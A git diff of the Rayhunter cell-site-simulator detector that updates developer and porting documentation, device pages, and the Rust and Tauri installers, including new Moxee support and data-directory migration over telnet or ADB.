### If you're on Windows or can't run the install scripts
## Hot-reloading the frontend
* Root your device on Windows using the instructions here: <https://xdaforums.com/t/resetting-verizon-orbic-speed-rc400l-firmware-flash-kajeet.4334899/#post-87855183>
* Build the web UI using `cd daemon/web && npm install && npm run build`
* Push the scripts in `scripts/` to `/etc/init.d` on device and make a directory called `/data/rayhunter` using `adb shell` (and sshell for your root shell if you followed the steps above)
* You also need to copy `config.toml.in` to `/data/rayhunter/config.toml`. Uncomment the `device` line and set the value to your device type if necessary.
* Then run `./make.sh`, which will build the binary, push it over adb, and restart the device. Once it's restarted, Rayhunter should be running!
If you are working on the frontend, you normally have to repeat all of the above steps everytime to see a change.
You can instead run the frontend separately on your PC while the Rust parts
continue running on your target device:
```sh
cd daemon/web
# Assumes rayhunter-daemon is listening on localhost:8080
npm run dev
# Use a custom target IP:port where the backend runs
API_TARGET=http://192.168.1.1:8080 npm run dev
```
The UI will listen on `localhost:5173` and instantly show any frontend changes
you make. Backend changes require building everything from the top (daemon and installer).
## Installer utils, getting a shell
Check `./scripts/install-dev.sh util --help`
for useful utilities for transferring files, opening shells. The exact tools
available wildly depend on the device you're working on, and they are
usually documented the relevant device's page under [Supported
Devices](./supported-devices.md).
A lot of devices run a trimmed down version of Android and have ADB (Android
Debug Bridge) support. The USB-based installers (`orbic-usb`, `pinephone`,
`uz801`) use ADB to perform the installation.
You might want to install and use actual ADB to connect to the device, push
files and generally poke around. The installer contains some tools to enable ADB:
```sh
adb kill-server
# Enables ADB on either of these devices
./scripts/install-dev.sh util tmobile-start-adb
./scripts/install-dev.sh orbic-usb
adb shell
```
Note though that we can't assist with any issues setting ADB up, _especially
not_ on Windows. There have been too many driver issues to make this the
"golden path" for most users or contributors. There have been instances where
people managed to brick their orbic devices using ADB on Windows.
## Troubleshooting
You may need to turn off your VPN in order to load the frontend succesfully - even with local network sharing enabled, VPNs can interfere with the connection to the backend.
Specifically for WSL users:
- The HyperV firewall also tends to interfere with the connection between frontend and backend. You can turn it off in your WSL settings.
- WSL2 has a known compatibility issue which may prevent vite from detecting file system changes and therefore affects HMR (hot module replacement).
If your hot reloading does not work, some have success using polling to detect changes. To do so, specify the following setting in vite.config.ts:
```ts
server: {
watch: { usePolling: true }
}
```

View File

@@ -5,6 +5,8 @@ Supported in Rayhunter since version 0.6.0.
The Moxee Hotspot is a device very similar to the Orbic RC400L. It seems to be
primarily for the US market.
**These devices have relatively little storage. The Orbic is usually a better alternative, though might be more expensive.**
- [KonnectONE product page](https://www.konnectone.com/specs-hotspot)
- [Moxee product page](https://www.moxee.com/hotspot)
@@ -30,11 +32,14 @@ According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL),
Connect to the hotspot's network using WiFi or USB tethering and run:
```sh
./installer orbic --admin-password 'mypassword'
./installer moxee --admin-password 'mypassword'
```
The password (in place of `mypassword`) is under the battery.
`./installer moxee` is almost the same as `./installer orbic`, it just comes
with slightly better defaults that will give you more space for recordings.
## Obtaining a shell
```sh

View File

@@ -6,7 +6,8 @@ It is also sometimes sold under the brand Kajeet RC400L. This is the exact same
You can buy an Orbic [using bezos
bucks](https://www.amazon.com/Orbic-Verizon-Hotspot-Connect-Enabled/dp/B08N3CHC4Y),
or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l). You should not
pay more than 30 USD for such a device (without shipping).
[Please check whether the Orbic works in your country](https://www.frequencycheck.com/countries/), and whether the Orbic RC400L supports the right frequency bands for your purpose before buying.
@@ -37,6 +38,7 @@ The orbic's installation routine underwent many different changes:
It's possible that many tutorials out there still refer to some of the old
installation routines.
<a name=shell></a>
## Obtaining a shell
After running the installer, there will not be a rootshell and ADB will not be

88
doc/porting.md Normal file
View File

@@ -0,0 +1,88 @@
# Porting to new devices
## When will we consider new devices?
Rayhunter is already officially supported on [several devices](./supported-devices.md), and people are often interested in adding support for hardware they already own. Here's a non-exhaustive list of situations where we'd consider adding a new Tier 2 device:
* The device is significantly cheaper or more available in a specific region than any device we already support.
* The device supports 5G and costs less than 100 USD.
* You're willing to commit to supporting this device and handling bug reports.
* The device has support for all cellular bands and can work in any country.
We want to avoid a situation where the list of supported devices keeps growing but the number of recurring contributors and maintainers stays the same.
That said, you can always maintain a fork, or install Rayhunter manually without writing an installer. You can promote this work in the [GitHub discussions](https://github.com/EFForg/rayhunter/discussions) area, where most new hardware investigations happen.
Please don't open issues about supporting a new device, use GitHub discussions instead. Most hardware investigations end up being abandoned, and the amount of issues we'd have to triage would be too much.
## Prerequisites: root shell, and /dev/diag
Rayhunter is a Linux binary that reads traffic from the Qualcomm diagnostic interface, which requires root. If either of those isn't available, Rayhunter can't work. Everything else (displays, buttons) is secondary, and we can deal with it later.
In the devices we currently support `/dev/diag` is the interface for Qualcomm diagnostics and devices with this will be easiest to support. Newer Qualcomm modems expose the diagnostic interface over a USB gadget which is something we are working on support for, but do not currently have. Thus devices with the former diagnostic interface will be easier to port Rayhunter to.
You can check ahead of purchase whether `/dev/diag` is available by ensuring the device has a Qualcomm MDM* chip. Other Qualcomm LTE chips might work but we haven't encountered one yet. Typically you will be able to get this information from [fcc.report](https://fcc.report), where either the chip is written down in some PDF or at least plainly visible in one of the teardown photos. Sometimes this information can also be found through teardown videos on YouTube. If you find that chip, there's a good chance (but no guarantee) `/dev/diag` is available.
Any vendor other than Qualcomm (Mediatek, Rockchip, ...) is unlikely to work. Quectel sometimes repackages Qualcomm chips into larger systems and might work. Huawei devices won't work, as they use their own chips.
Getting a root shell varies from device to device. Check the [GitHub discussions](https://github.com/EFForg/rayhunter/discussions) for prior art, and look through the installer source in `installer/src/` for inspiration. These approaches are common:
* Connecting with `adb shell`.
* If `adb shell` doesn't work, sending a special USB serial command might enable it.
* Sometimes there's an unpatched CVE that can be used to launch `telnetd` as root (search "device name CVE", the website [opencve.io](https://opencve.io) is particularly easy to use).
Once you have a root shell, check that `/dev/diag` exists.
## Installing Rayhunter manually
The Rayhunter installation consists of just two components: the `rayhunter-daemon` binary, and the config file (`config.toml`).
Typically the layout on the filesystem will look like this:
```text
/data/rayhunter/rayhunter-daemon
/data/rayhunter/config.toml
/data/rayhunter/qmdl/
```
Then, `./rayhunter-daemon config.toml` can be started manually.
You can refer to [Installing from source](./installing-from-source.md) for how to obtain the `rayhunter-daemon` binary.
We're assuming that your device is ARMv7, i.e. 32-bit ARM (`armv7-unknown-linux-musleabihf`). If that's not the case, you can still build the daemon but you'll need to figure out the correct target triple on your own.
You can copy the daemon and config files to the device using `netcat` or `adb push`. They don't have to be in `/data/rayhunter/`, this is just convention. If you use a different path, be sure to update the `qmdl_store_path` setting in `config.toml`.
The `device` setting in `config.toml` must match one of the lowercase variant names from the `Device` enum (e.g. `"orbic"`, `"tplink"`). This controls which display driver is used.
Setting `debug_mode = true` in `config.toml` runs the daemon without `/dev/diag`, so you can test the display and web UI without the hardware.
### Autostart
To make Rayhunter start on boot, you'll need an init script. The existing installers use the template at `dist/scripts/rayhunter_daemon`, which has a `#RAYHUNTER-PRESTART` placeholder that gets replaced with device-specific setup commands (e.g. killing a vendor UI process, mounting an SD card). Look at how the existing installers handle this in their `install()` functions.
## Display support
The `device` setting [mentioned above](#installing-rayhunter-manually) also controls which display driver is loaded (see [`Device` enum in `lib/src/lib.rs`](https://github.com/EFForg/rayhunter/blob/main/lib/src/lib.rs)). Unless your device is a variant of an existing device, you'll want to add a new variant to the `Device` enum and write a corresponding display module in `daemon/src/display/`.
You can play around with the existing values of the `device` setting to see which one ends up rendering on your device's display. Most likely your device has a display similar enough to an existing one, and the display module for that device (e.g. `daemon/src/display/orbic.rs`, `daemon/src/display/tplink.rs`) can be used as a starting point.
If your device has LEDs instead of a display, take a look at `daemon/src/display/uz801.rs` which controls LEDs via sysfs.
## Button support
Rayhunter can use the power button to restart recordings via a double-tap gesture. The implementation is in [`daemon/src/key_input.rs`](https://github.com/EFForg/rayhunter/blob/main/daemon/src/key_input.rs). It currently has no structure for device-specific implementations, as all devices we support expose the same input event interface.
The `key_input_mode` setting in `config.toml` controls this feature (`0` = disabled, `1` = double-tap power button to start/stop recordings).
## Writing the installer, and contributing official support
At this point you'll want to have figured out how to automate the entire installation in principle, and how to make it as repeatable as possible. A proof-of-concept of this in bash or another language is also a welcome contribution (to be posted on [GitHub discussions](https://github.com/EFForg/rayhunter/discussions), not as a PR).
Writing the installer means adding a new variant to the `Command` enum in [`installer/src/lib.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/lib.rs) and implementing the install logic in a new module under `installer/src/`. Each subcommand maps to a device-specific entry point function (e.g. `tplink::main_tplink`, `orbic_network::install`).
The installer gets the daemon binary path from `env!("FILE_RAYHUNTER_DAEMON")`, which is set at build time. Config installation is handled by the shared `install_config()` helper in the `connection` module, which writes the config file with the correct device name.
You must also add a shell utility subcommand under `installer util` (the `UtilSubCommand` enum in `installer/src/lib.rs`), e.g. `installer util tplink-shell`, `installer util orbic-shell`. This is required -- without it, users and developers have no way to interactively debug the device. Depending on connectivity, this might be a telnet session, an ADB shell, or a serial connection. Other utilities (file transfer helpers, etc.) are optional but encouraged. See the existing `UtilSubCommand` variants for examples.
Please reuse existing utilities wherever possible. Take a look at [`installer/src/tplink.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/tplink.rs) and [`installer/src/orbic_network.rs`](https://github.com/EFForg/rayhunter/blob/main/installer/src/orbic_network.rs) for inspiration. But the structures there are still evolving, and we'll happily guide you during code review.

View File

@@ -2,7 +2,15 @@
If you're using Rayhunter (or trying to), we'd love to hear from you! Check out one of the following forums for contacting the Rayhunter developers and community:
* If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (QMDL and PCAP logs) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
* If you're having issues installing or using Rayhunter, please [open an issue](https://github.com/EFForg/rayhunter/issues) on our Github repo.
* If you've received a Rayhunter warning, please send your Rayhunter data captures (the ZIP file) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version.
Note that the recording files are sensitive data and contain location
information, so we strongly recommend against posting them to publicly.
If you're unfamiliar with Signal, feel free to check out our [Security Self
Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
* If you're having issues installing or using Rayhunter, consider checking the [Frequently Asked Questions](./faq.md) page for answers to common questions.
* If your question isn't answered there, please [open an issue](https://github.com/EFForg/rayhunter/issues) on our Github repo.
* If you'd like to propose a feature, heuristic, or device for Rayhunter, [start a discussion](https://github.com/EFForg/rayhunter/discussions) in our Github repo
* For anything else, join us in the `#rayhunter` or `#rayhunter-developers` channel of [EFF's Mattermost](https://opensource.eff.org/signup_user_complete/?id=r1b6cnta9bysxk6im3kuabiu1y&md=link&sbr=su) instance to chat!

View File

@@ -30,4 +30,4 @@ Rayhunter is confirmed to work on these devices.
## Adding new devices
Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it.
If you have a device in mind which you'd like Rayhunter to support, please [open a discussion on our Github](https://github.com/EFForg/rayhunter/discussions)!
If you have a device in mind which you'd like Rayhunter to support, please read the [porting guide](./porting.md) and [open a discussion on our Github](https://github.com/EFForg/rayhunter/discussions)!

28
doc/swagger-ui.html Normal file
View File

@@ -0,0 +1,28 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="description" content="SwaggerUI" />
<title>SwaggerUI</title>
<link rel="stylesheet" href="https://unpkg.com/swagger-ui-dist@5.31.0/swagger-ui.css" />
</head>
<body>
<div id="swagger-ui"></div>
<script src="https://unpkg.com/swagger-ui-dist@5.31.0/swagger-ui-bundle.js" crossorigin></script>
<script src="https://unpkg.com/swagger-ui-dist@5.31.0/swagger-ui-standalone-preset.js" crossorigin></script>
<script>
window.onload = () => {
window.ui = SwaggerUIBundle({
url: './rayhunter-openapi.json',
dom_id: '#swagger-ui',
presets: [
SwaggerUIBundle.presets.apis,
SwaggerUIStandalonePreset
],
layout: "StandaloneLayout",
});
};
</script>
</body>
</html>

View File

@@ -35,6 +35,7 @@ You can get your TP-Link M7350 from:
* First check for used offers on local sites, sometimes it's much cheaper there.
* [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350).
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313).
* Can also be found sold as the 'Vodafone Pocket Wifi 5' in Australia
## Installation & Usage

View File

@@ -26,6 +26,8 @@ You can access this UI in one of two ways:
* **Connect over USB (TP-Link):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.
> **_NOTE:_** When downloading recordings, "Insecure download blocked" warnings can safely be ignored - this is due to Rayhunter not using HTTPS.
## Key shortcuts
As of Rayhunter version 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md).

View File

@@ -14,12 +14,13 @@ You'll need to install [Tauri's dependencies](https://tauri.app/start/prerequisi
The GUI installer pulls in the CLI installer as a library. Like with the CLI installer, the firmware binary needs to be present and can be overridden with the same envvars. See `../installer/build.rs` for options.
For example, to build the firmware in development mode and then provide the path explicitly:
For example, to build the firmware in development mode:
```bash
cargo build-daemon-firmware-devel
cargo build-rootshell-firmware-devel
(cd installer-gui && FILE_RAYHUNTER_DAEMON=$PWD/../target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon npm run tauri android build)
(cd installer-gui && FIRMWARE_PROFILE=firmware-devel npm run tauri android build)
```
## Building

File diff suppressed because it is too large Load Diff

View File

@@ -5,6 +5,7 @@
"type": "module",
"scripts": {
"dev": "vite dev",
"prepare": "svelte-kit sync",
"build": "vite build",
"preview": "vite preview",
"check": "svelte-kit sync && svelte-check --tsconfig ./tsconfig.json",
@@ -15,27 +16,27 @@
"tauri": "tauri"
},
"dependencies": {
"@tailwindcss/vite": "^4.1.16",
"@tailwindcss/vite": "^4.2.2",
"@tauri-apps/api": "^2",
"@tauri-apps/plugin-opener": "^2",
"tailwindcss": "^4.1.16"
},
"devDependencies": {
"@eslint/js": "^9.38.0",
"@eslint/js": "^10.0.1",
"@sveltejs/adapter-static": "^3.0.6",
"@sveltejs/kit": "^2.9.0",
"@sveltejs/vite-plugin-svelte": "^5.0.0",
"@sveltejs/kit": "^2.57.1",
"@sveltejs/vite-plugin-svelte": "^7.0.0",
"@tauri-apps/cli": "^2",
"eslint": "^9.38.0",
"eslint": "^10.2.0",
"eslint-config-prettier": "^10.1.8",
"eslint-plugin-svelte": "^3.13.0",
"globals": "^16.4.0",
"prettier": "^3.6.2",
"prettier-plugin-svelte": "^3.4.0",
"svelte": "^5.0.0",
"svelte-check": "^4.0.0",
"typescript": "~5.6.2",
"typescript-eslint": "^8.46.2",
"vite": "^6.0.3"
"eslint-plugin-svelte": "^3.17.0",
"globals": "^17.5.0",
"prettier": "^3.8.3",
"prettier-plugin-svelte": "^3.5.1",
"svelte": "^5.55.4",
"svelte-check": "^4.4.6",
"typescript": "~6.0.2",
"typescript-eslint": "^8.58.2",
"vite": "^8.0.8"
}
}

View File

@@ -1,6 +1,6 @@
[package]
name = "installer-gui"
version = "0.9.0"
version = "0.10.2"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
@@ -21,4 +21,5 @@ tauri-plugin-opener = "2"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
anyhow = "1.0.100"
shlex = "1"
installer = { path = "../../installer" }

View File

@@ -1,10 +1,11 @@
use anyhow::Context;
use tauri::Emitter;
async fn run_installer(app_handle: tauri::AppHandle, args: String) -> anyhow::Result<()> {
let args_vec = shlex::split(&args).context("Failed to parse arguments: unclosed quote")?;
tauri::async_runtime::spawn_blocking(move || {
installer::run_with_callback(
// TODO: we should split using something similar to shlex in python
args.split_whitespace(),
args_vec.iter().map(|s| s.as_str()),
Some(Box::new(move |output| {
app_handle
.emit("installer-output", output)

View File

@@ -81,6 +81,9 @@
<input
class="mr-1 px-5 py-2 rounded-lg shadow-md"
placeholder="Enter CLI installer args..."
autocapitalize="off"
autocorrect="off"
spellcheck="false"
bind:value={installerArgs}
/>
<button

View File

@@ -1,6 +1,6 @@
[package]
name = "installer"
version = "0.9.0"
version = "0.10.2"
edition = "2024"
[lib]
@@ -17,7 +17,7 @@ anyhow = "1.0.98"
axum = { version = "0.8.3", features = ["http1", "tokio"], default-features = false }
base64_light = "0.1.5"
block-padding = "0.3.3"
bytes = "1.10.1"
bytes = "1.11.1"
clap = { version = "4.5.37", features = ["derive"] }
env_logger = "0.11.8"
hyper = "1.6.0"
@@ -28,7 +28,7 @@ nusb = "0.1.13"
reqwest = { version = "0.12.15", features = ["json"], default-features = false }
serde = { version = "1.0.219", features = ["derive"] }
sha2 = "0.10.8"
tokio = { version = "1.44.2", features = ["io-util", "macros", "rt"], default-features = false }
tokio = { version = "1.44.2", features = ["io-util", "io-std", "macros", "rt"], default-features = false }
tokio-retry2 = "0.5.7"
tokio-stream = "0.1.17"
futures = "0.3"

View File

@@ -1,18 +1,26 @@
use core::str;
use std::path::Path;
use std::process::exit;
fn main() {
println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN");
let include_dir = Path::new(concat!(
env!("CARGO_MANIFEST_DIR"),
"/../target/armv7-unknown-linux-musleabihf/firmware/"
));
set_binary_var(include_dir, "FILE_ROOTSHELL", "rootshell");
set_binary_var(include_dir, "FILE_RAYHUNTER_DAEMON", "rayhunter-daemon");
println!("cargo::rerun-if-env-changed=FIRMWARE_PROFILE");
let profile = std::env::var("FIRMWARE_PROFILE").unwrap_or_else(|_| {
// Default to firmware-devel for debug builds, firmware for release builds
if std::env::var("PROFILE").as_deref() == Ok("release") {
"firmware".to_string()
} else {
"firmware-devel".to_string()
}
});
let include_dir = Path::new(env!("CARGO_MANIFEST_DIR"))
.join("../target/armv7-unknown-linux-musleabihf")
.join(&profile);
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell");
set_binary_var(&include_dir, "FILE_RAYHUNTER_DAEMON", "rayhunter-daemon");
}
fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
println!("cargo::rerun-if-env-changed={var}");
if std::env::var_os("NO_FIRMWARE_BIN").is_some() {
let out_dir = std::env::var("OUT_DIR").unwrap();
std::fs::create_dir_all(&out_dir).unwrap();
@@ -23,6 +31,7 @@ fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
}
if std::env::var_os(var).is_none() {
let binary = include_dir.join(file);
println!("cargo::rerun-if-changed={}", binary.display());
if !binary.exists() {
println!(
"cargo::error=Firmware binary {file} not present at {}",
@@ -31,6 +40,5 @@ fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
exit(0);
}
println!("cargo::rustc-env={var}={}", binary.display());
println!("cargo::rerun-if-changed={}", binary.display());
}
}

181
installer/src/connection.rs Normal file
View File

@@ -0,0 +1,181 @@
use std::future::Future;
use std::net::SocketAddr;
use anyhow::{Result, bail};
use crate::output::{print, println};
/// Abstraction for device communication (telnet or ADB)
pub trait DeviceConnection {
/// Run a shell command and return its output
fn run_command(&mut self, command: &str) -> impl Future<Output = Result<String>> + Send;
/// Write a file to the device
fn write_file(&mut self, path: &str, content: &[u8])
-> impl Future<Output = Result<()>> + Send;
}
/// Check if a file exists using a DeviceConnection
pub async fn file_exists<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
conn.run_command(&format!("test -f '{path}' && echo exists || echo missing"))
.await
.map(|output| output.contains("exists"))
.unwrap_or(false)
}
/// Shared config installation logic. Installs to /data/rayhunter/config.toml which resolves
/// through the symlink to the actual data directory.
pub async fn install_config<C: DeviceConnection>(
conn: &mut C,
device_type: &str,
reset_config: bool,
) -> Result<()> {
let config_path = "/data/rayhunter/config.toml";
if reset_config || !file_exists(conn, config_path).await {
let config = crate::CONFIG_TOML.replace(
r#"#device = "orbic""#,
&format!(r#"device = "{device_type}""#),
);
conn.write_file(config_path, config.as_bytes()).await?;
} else {
println!("Config file already exists, skipping (use --reset-config to overwrite)");
}
Ok(())
}
/// Check if a directory exists using a DeviceConnection
pub async fn dir_exists<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
conn.run_command(&format!("test -d '{path}' && echo exists || echo missing"))
.await
.map(|output| output.contains("exists"))
.unwrap_or(false)
}
/// Check if a path is a symlink using a DeviceConnection
pub async fn is_symlink<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
conn.run_command(&format!("test -L '{path}' && echo yes || echo no"))
.await
.map(|output| output.contains("yes"))
.unwrap_or(false)
}
/// Read the target of a symlink using a DeviceConnection
pub async fn readlink<C: DeviceConnection>(conn: &mut C, path: &str) -> Result<String> {
// Use a prefix marker to find the actual output line, since some shells (TP-Link) echo
// back the command and run_command appends protocol lines.
let output = conn
.run_command(&format!("echo RL:$(readlink '{path}')"))
.await?;
for line in output.lines() {
if let Some(target) = line.trim().strip_prefix("RL:") {
return Ok(target.to_string());
}
}
bail!("unexpected readlink output: {output:?}");
}
/// Set up the data directory at `data_dir` and create a symlink from `/data/rayhunter` to it.
///
/// Handles migration from old locations:
/// - If `/data/rayhunter` is a real directory, moves its contents to `data_dir`
/// - If `/data/rayhunter` is a symlink to a different location, moves from the old target
/// - If `/data/rayhunter` doesn't exist, just creates the symlink
/// - If `/data/rayhunter` is a symlink to `data_dir`, does nothing
pub async fn setup_data_directory<C: DeviceConnection>(conn: &mut C, data_dir: &str) -> Result<()> {
if data_dir == "/data/rayhunter" {
bail!("data_dir must not be /data/rayhunter");
}
if data_dir.contains("'") {
bail!("data_dir must not contain an apostrophe (')");
}
// Determine where old data lives, if anywhere
let old_data_source = if is_symlink(conn, "/data/rayhunter").await {
let current_target = readlink(conn, "/data/rayhunter").await?;
if current_target == data_dir {
println!("Data directory already configured at {data_dir}");
return Ok(());
}
conn.run_command("rm -f /data/rayhunter").await?;
// The old symlink target is where data actually lives
if dir_exists(conn, &current_target).await {
Some(current_target)
} else {
None
}
} else if dir_exists(conn, "/data/rayhunter").await {
if dir_exists(conn, data_dir).await {
bail!("Both /data/rayhunter and {data_dir} exist and are directories.");
}
// Real directory (pre-migration Orbic state)
Some("/data/rayhunter".to_string())
} else {
None
};
// Migrate old data if present
if let Some(old_source) = &old_data_source {
// Stop rayhunter-daemon so it doesn't write during migration.
// The device will be rebooted at the end of installation anyway.
print!("Stopping rayhunter-daemon ... ");
let _ = conn
.run_command("/etc/init.d/rayhunter_daemon stop 2>/dev/null; true")
.await;
println!("ok");
print!("Migrating data from {old_source} to {data_dir} ... ");
// mv old data into its place. If source and destination are on the same filesystem,
// this is an instant rename.
// XXX: DeviceConnection::run_command does not expose the exit code of the ran command. It
// probably should, or a utility for it should exist?
let mv_output = conn
.run_command(&format!("mv '{old_source}' '{data_dir}' && echo MV_OK"))
.await?;
if mv_output.contains("MV_OK") {
println!("ok");
} else {
bail!("Failed to move data from {old_source} to {data_dir}:\n{mv_output}");
}
} else {
// No migration needed, just ensure the target directory exists
conn.run_command(&format!("mkdir -p '{data_dir}'")).await?;
}
// Create the symlink
print!("Creating symlink /data/rayhunter -> {data_dir} ... ");
conn.run_command("mkdir -p /data").await?;
conn.run_command(&format!("ln -sf '{data_dir}' /data/rayhunter"))
.await?;
println!("ok");
Ok(())
}
/// Telnet-based connection wrapper
pub struct TelnetConnection {
pub addr: SocketAddr,
pub wait_for_prompt: bool,
}
impl TelnetConnection {
pub fn new(addr: SocketAddr, wait_for_prompt: bool) -> Self {
Self {
addr,
wait_for_prompt,
}
}
}
impl DeviceConnection for TelnetConnection {
async fn run_command(&mut self, command: &str) -> Result<String> {
crate::util::telnet_send_command_with_output(self.addr, command, self.wait_for_prompt).await
}
async fn write_file(&mut self, path: &str, content: &[u8]) -> Result<()> {
crate::util::telnet_send_file(self.addr, path, content, self.wait_for_prompt).await
}
}

View File

@@ -5,6 +5,8 @@ use env_logger::Env;
#[cfg(not(target_os = "android"))]
use anyhow::bail;
mod connection;
mod moxee;
#[cfg(not(target_os = "android"))]
mod orbic;
mod orbic_auth;
@@ -39,9 +41,11 @@ enum Command {
/// Install rayhunter on the Orbic RC400L using the legacy USB+ADB-based installer.
#[cfg(not(target_os = "android"))]
OrbicUsb(InstallOrbic),
/// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network.
/// Install rayhunter on the Orbic RC400L via network.
#[clap(alias = "orbic-network")]
Orbic(OrbicNetworkArgs),
/// Install rayhunter on the Moxee Hotspot via network.
Moxee(MoxeeArgs),
/// Install rayhunter on the TMobile TMOHS1.
Tmobile(TmobileArgs),
/// Install rayhunter on the Uz801.
@@ -79,10 +83,24 @@ struct InstallTpLink {
/// your custom path may conflict with the builtin storage functionality.
#[arg(long, default_value = "")]
sdcard_path: String,
/// Overwrite config.toml even if it already exists on the device.
#[arg(long)]
reset_config: bool,
/// Override the data directory path. Defaults to /cache/rayhunter-data (or SD card path when
/// SD card is used). Must not be /data/rayhunter, which lives on a storage partition that's
/// too small for normal Rayhunter operation.
#[arg(long)]
data_dir: Option<String>,
}
#[derive(Parser, Debug)]
struct InstallOrbic {}
struct InstallOrbic {
/// Overwrite config.toml even if it already exists on the device.
#[arg(long)]
reset_config: bool,
}
#[derive(Parser, Debug)]
struct OrbicNetworkArgs {
@@ -97,6 +115,39 @@ struct OrbicNetworkArgs {
/// Admin password for authentication.
#[arg(long)]
admin_password: Option<String>,
/// Overwrite config.toml even if it already exists on the device.
#[arg(long)]
reset_config: bool,
/// Override the data directory path. Defaults to /data/rayhunter-data.
/// Must not be /data/rayhunter.
#[arg(long)]
data_dir: Option<String>,
}
#[derive(Parser, Debug)]
struct MoxeeArgs {
/// IP address for Moxee admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
/// Admin username for authentication.
#[arg(long, default_value = "admin")]
admin_username: String,
/// Admin password for authentication.
#[arg(long)]
admin_password: Option<String>,
/// Overwrite config.toml even if it already exists on the device.
#[arg(long)]
reset_config: bool,
/// Override the data directory path. Defaults to /cache/rayhunter-data.
/// Must not be /data/rayhunter.
#[arg(long)]
data_dir: Option<String>,
}
#[derive(Parser, Debug)]
@@ -231,8 +282,9 @@ async fn run(args: Args) -> Result<(), Error> {
Command::Pinephone(_) => pinephone::install().await
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
#[cfg(not(target_os = "android"))]
Command::OrbicUsb(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L (USB installer)")?,
Command::Orbic(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::OrbicUsb(args) => orbic::install(args.reset_config).await.context("\nFailed to install rayhunter on the Orbic RC400L (USB installer)")?,
Command::Orbic(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password, args.reset_config, args.data_dir).await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::Moxee(args) => moxee::install(args).await.context("\nFailed to install rayhunter on the Moxee Hotspot")?,
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
Command::Util(subcommand) => {
match subcommand.command {

15
installer/src/moxee.rs Normal file
View File

@@ -0,0 +1,15 @@
use anyhow::Result;
use crate::MoxeeArgs;
pub async fn install(args: MoxeeArgs) -> Result<()> {
let data_dir = args.data_dir.or(Some("/cache/rayhunter-data".to_string()));
crate::orbic_network::install(
args.admin_ip,
args.admin_username,
args.admin_password,
args.reset_config,
data_dir,
)
.await
}

View File

@@ -12,9 +12,10 @@ use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
use sha2::{Digest, Sha256};
use tokio::time::sleep;
use crate::RAYHUNTER_DAEMON_INIT;
use crate::connection::{DeviceConnection, install_config};
use crate::output::{print, println};
use crate::util::open_usb_device;
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
Make sure your device is plugged in and turned on.
@@ -46,6 +47,21 @@ const PRODUCT_ID: u16 = 0xf601;
const INTERFACE: u8 = 1;
/// ADB-based connection wrapper for DeviceConnection trait
pub struct AdbConnection<'a> {
device: &'a mut ADBUSBDevice,
}
impl DeviceConnection for AdbConnection<'_> {
async fn run_command(&mut self, command: &str) -> Result<String> {
adb_command(self.device, &["sh", "-c", command])
}
async fn write_file(&mut self, path: &str, content: &[u8]) -> Result<()> {
install_file(self.device, path, content).await
}
}
#[cfg(target_os = "windows")]
const RNDIS_INTERFACE: u8 = 0;
@@ -61,7 +77,7 @@ async fn confirm() -> Result<bool> {
Ok(input.trim() == "yes")
}
pub async fn install() -> Result<()> {
pub async fn install(reset_config: bool) -> Result<()> {
println!(
"WARNING: The orbic USB installer is not recommended for most usecases. Consider using ./installer orbic instead, unless you want ADB access for other purposes."
);
@@ -80,7 +96,7 @@ pub async fn install() -> Result<()> {
setup_rootshell(&mut adb_device).await?;
println!("done");
